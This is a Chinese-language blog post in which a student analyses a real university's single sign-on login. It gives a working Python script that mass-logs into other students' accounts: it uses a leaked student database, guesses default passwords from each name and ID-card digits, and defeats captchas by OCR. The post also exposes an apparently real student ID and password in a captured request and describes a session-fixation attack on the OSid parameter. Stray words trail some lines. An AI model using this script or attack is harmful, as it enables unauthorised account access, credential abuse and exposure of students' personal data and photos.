剛學習python,以爲比較枯燥總不知道從哪裏入手,偶然一次,同窗讓我幫忙看看選課,發給個人是學校統一的默認格式的密碼,忽然就想試試有多少人仍是默認密碼,從QQ羣裏找了一份學生信息嘗試了一下,發現默認密碼的仍是挺多的,我就想是否是能夠經過腳原本作一些有趣的事情。html
打開學校教務處官網,正常登錄一波,發現頁面跳轉到http://210.41.224.117/Login/xLogin/Login.asp
python
填寫密碼登錄,發現登錄頁面又跳轉回到了教務處!算法
流程就是教務處點擊登陸,頁面被帶到一個認證平臺認證,成功後回到教務處。sql
這樣看太過於籠統,抓包分析一下。跨域
這是登陸前從教務處到認證平臺的過程,有好幾個302,仔細看了一下大體是從http://jxgl.cuit.edu.cn/JXGL/xs/MainMenu.asp
頁面,跳轉到一個多是判斷用戶是否登陸的頁面,而後在跳到http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp
這個頁面,以後跳轉到認證頁面http://210.41.224.117/Login/qqLogin.asp
瀏覽器
這大概是個單點登錄的過程安全
1、什麼是單點登陸SSO(Single Sign-On)服務器
SSO是一種統一認證和受權機制,指訪問同一服務器不一樣應用中的受保護資源的同一用戶,只須要登陸一次,即經過一個應用中的安全驗證後,再訪問其餘應用中的受保護資源時,再也不須要從新登陸驗證。cookie
簡單點說,就是一個賬號,多個系統都能使用,且只要登陸第一個系統,待認證經過後,其它系統能夠直接使用,而不須要再次登陸.app
2、爲何要用
提升用戶的效率。用戶再也不被屢次登陸困擾,也不須要記住多個 ID 和密碼。另外,用戶忘記密碼並求助於支持人員的狀況也會減小。
提升開發人員的效率。SSO 爲開發人員提供了一個通用的身份驗證框架。實際上,若是 SSO 機制是獨立的,那麼開發人員就徹底不須要爲身份驗證操心。他們能夠假設,只要對應用程序的請求附帶一個用戶名,身份驗證就已經完成了。
簡化管理。若是應用程序加入了單點登陸協議,管理用戶賬號的負擔就會減輕。簡化的程度取決於應用程序,由於 SSO 只處理身份驗證。因此,應用程序可能仍然須要設置用戶的屬性(好比訪問特權)。
3、SSO實現機制
SSO大概有如下幾種方式實現:
共享Cookie
當咱們的子系統都在一個父級域名下時,咱們能夠將Cookie種在父域下,這樣瀏覽器同域名下的Cookie則能夠共享,這樣能夠經過Cookie加解密的算法獲取用戶SessionID,從而實現SSO。b. 跨域沒法使用。
因此到後面拋棄這種作法。
Ticket驗證
這種實現的SSO有如下幾個步驟: a. 用戶訪問某個子系統,發現若是未登陸,則引導用戶跳轉到SSO登陸頁面; b. 判斷SSO是否已經登陸; c. 若是已經登陸,直接跳轉到回調地址,並返回認證ticket; d. 若是未登陸,用戶正確輸入用戶名/密碼,認證經過跳轉到回調地址,並返回認證ticket;e. 子系統獲取ticket,調用SSO獲取用戶uid等信息,成功後讓用戶登陸。
Ticket驗證時序圖
4、學校網站登錄的實現
a. 學生訪問某個子系統如教務處,發現若是未登陸,發送一個帶OSid參數的地址引導用戶跳轉到SSO登陸頁面;
b. 經過判斷OSid來判斷SSO是否已經登陸;
c. 若是已經登陸,直接跳轉到回調地址,服務器端認證當前OSid;
d. 若是未登陸,用戶正確輸入用戶名/密碼,認證經過跳轉到回調地址;
e. 子系統獲取OSid,調用SSO獲取用戶uid等信息,成功後讓用戶登陸。
對數據包進行具體的分析
發現具體setcookie和分配OSid是在這個頁面http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp
我只須要先訪問一次這個頁面,獲取了cookie和OSid便可,打開一個會話經過提交OSid參數訪問認證平臺,認證經過了即表明我教務處的回話處於登陸狀態。
知道過程還須要知道登陸時具體須要哪些參數,看一下具體post的內容
POST /Login/xLogin/Login.asp HTTP/1.1 Host: 210.41.224.117 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://210.41.224.117/Login/xLogin/Login.asp Cookie: ASPSESSIONIDQAABSBDB=GELMKBJBABOODECPPGIDDKMC Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 122 WinW=2560&WinH=1080&txtId=2016122150&txtMM=WYH020257a&verifycode=rew&codeKey=19056&Login=Check&IbtnEnter.x=0&IbtnEnter.y=0
WinW=2560&WinH=1080
這兩個是屏幕分辨率,txtId=2016122150&txtMM=WYH020257a
這兩個是帳號密碼,verifycode=rew
這是驗證碼,codeKey=19056
這是一個判斷頁面是不是同一個頁面的參數這個試了很久發現這個修改一下就認證不起,這個具體參數在第一次請求的源碼裏面能夠找到
1.新建會話訪問http://210.41.224.117/Login/xLogin/Login.asp
首先獲取OSid,和cookie,還有codeKey
2.獲取驗證碼http://210.41.224.117/Login/xLogin/yzmDvCode.asp?k=%s&t=1480853802484
(這裏k就是以前獲取的codeKey)
3.提交數據登陸http://210.41.224.117/Login/xLogin/Login.asp
4.判斷登陸狀態,獲取頭像
#coding=utf-8 from requests import get,post,Session import re import MySQLdb import hz import os import string import pytesseract from PIL import Image login_heard = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36", "Referer": "http://210.41.224.117/Login/xLogin/Login.asp" } postdata = { "WinW": "2560", "WinH": "1080", "txtId": "", "txtMM":"", "verifycode":"", "codeKey":'', "Login":"Check", "IbtnEnter.x":62, "IbtnEnter.y":54 } loginurl="http://210.41.224.117/Login/xLogin/Login.asp" codeurl="http://210.41.224.117/Login/xLogin/yzmDvCode.asp?k=%s&t=1480853802484" #驗證碼 getpicurl="http://210.41.224.117/Login/GetZpPic.asp" #獲取頭像 jwclogin="http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp" #獲取uid jwclogout="http://jxgl.cuit.edu.cn/Jxgl/UserPub/Logout.asp?UTp=Xs"#註銷登陸 class student(): id ="" ClassID = "" gread = "" zhuanye = "" name = "" passwd = "" def __init__(self,ID): self.id = ID self.passwd = getpass(id) #print passwd,id def getxx(StudentID): db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8") cursor = db.cursor() sql = "SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE StudentID= %s" %StudentID cursor.execute(sql) xx = cursor.fetchall() db.close() return xx def getid_0(gread,zhuanye,ClassID): db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8") cursor = db.cursor() sql = "SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE `ClassID` = '%s' and zyid=%s and gread = %s" %(ClassID,zhuanye,gread) cursor.execute(sql) id = cursor.fetchall() db.close() #print sql return id def getid_1(gread): db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8") cursor = db.cursor() sql1 = "SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE Gread = %d " %(gread) cursor.execute(sql1) id = cursor.fetchall() db.close() #print sql return id def getpass(id): db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8") cursor = db.cursor() sql = "select CONCAT(Name,RIGHT(IDcard,6)) from cuit.xsxx where StudentID = '%s'" %id cursor.execute(sql) data = cursor.fetchone() password=u'%s' %data #print(password) password = hz.main(password) password=password+"a" db.close() return password def getcode(code): image = Image.open(code) vcode = pytesseract.image_to_string(image) vcode = re.sub(r'\W',"",vcode) return str(vcode) def login(xiaomin,path): S = Session() # 先訪問login頁面,拿cookies,codeKey R_1 = S.get(loginurl,headers=login_heard) R_1.encoding = "GB2312" #匹配codekey 格式:var codeKey = '587913'; codeKey = re.findall("var codeKey = '(.*)';", R_1.text) postdata["codeKey"]=str(codeKey[0]) flag = -1 changdu = 0 while flag == -1: changdu = changdu +1 #使用code去刷新驗證碼 R_yzm = S.get(codeurl % codeKey[0],headers=login_heard) #保存驗證碼 with open("code.bmp", "wb") as code: code.write(R_yzm.content) yzm=getcode("code.bmp") postdata["verifycode"]=yzm postdata["txtId"]=xiaomin.id postdata["txtMM"]=xiaomin.passwd R_post = S.post(loginurl,headers=login_heard,data=postdata) R_post.encoding = "gbk" if "LoginOK!" in R_post.text : flag = 1 print (str(xiaomin.id)+":"+str(xiaomin.passwd)) if u"驗證碼不匹配,請從新輸入驗證碼!" in R_post.text : flag = -1 #print ("驗證碼錯誤!") if u"用戶名和密碼均區分大小寫,其中至少一項輸入有誤,請從新輸入!" in R_post.text : flag = 0 print (str(id)+":密碼錯誤!") #print postdata["txtMM"] #print postdata if flag == 1: # 請求頭像 R_face = S.get(getpicurl,headers=login_heard) with open(path+"/"+id+".jpg", "wb") as code: code.write(R_face.content) #END = S.get(jwclogouturl,headers=login_heard) print "長度:%d"%changdu def find(way): if way == 1: ids = getxx(raw_input('學號:')) if way == 2: gread = input(' 年級:') zhuanye = input('專業代碼:') ClassID = input('班級序號:') ids = getid_0(gread,zhuanye,ClassID) elif way == 3: gread = input('年級:') ids = getid_1(gread) return ids ids = find(int(input('查詢方式:'))) len = len(ids) for i in range(0,len): id=ids[i][0] xiaomin = student(id) ClassID= ids[i][1] zhuanye=ids[i][2] gread=ids[i][3] path = "./"+str(gread)+"/"+str(zhuanye)+"/"+str(ClassID) if (not os.path.exists(path)): os.makedirs(path) if (not os.path.exists(path+"/"+id+".jpg")): login(xiaomin,path)
仔細推敲一下他的邏輯,在認證平臺只是經過OSid來識別用戶,若是我拿帶有個人cookie得到的OSid的url去誘騙其餘用戶點擊,或者只須要用戶認證平臺的會話處於已經認證的狀態,只須要打開我構造好的url便可實現
實現過程:
1.a用戶(攻擊者)新建個網頁打開教務處點擊登陸,抓包找到這麼一個請求http://210.41.224.117/Login/qqLogin.asp?Oid=jxgl%2Ecuit%2Eedu%2Ecn&OSid=594722713
2.換個瀏覽器模擬b用戶(受害者),打開剛剛那個獲取的url,點擊登陸,若是第二個用戶自己已經登錄過的話,只須要打開這個連接便可!
3.a用戶這時候從新點登陸,發現已經成功登錄,這裏頭像沒有加載出來的緣由是頭像都是來自於認證平臺,而咱們只是得到了教務處的信任
1.驗證碼:使用的pytesseract模塊,識別率不高,平均十五個識別出一個
2.漢字轉爲漢語拼音,構造密碼的時候遇到的,找的網上的一段算法
3.主要是把登陸邏輯搞清楚,一切都好解決
sso單點認證:
http://blog.csdn.net/lishehe/article/details/40196353
http://dev.cmcm.com/archives/238
oauth:
http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html
Requests 庫的高級用法:
http://docs.python-requests.org/zh_CN/latest/user/advanced.html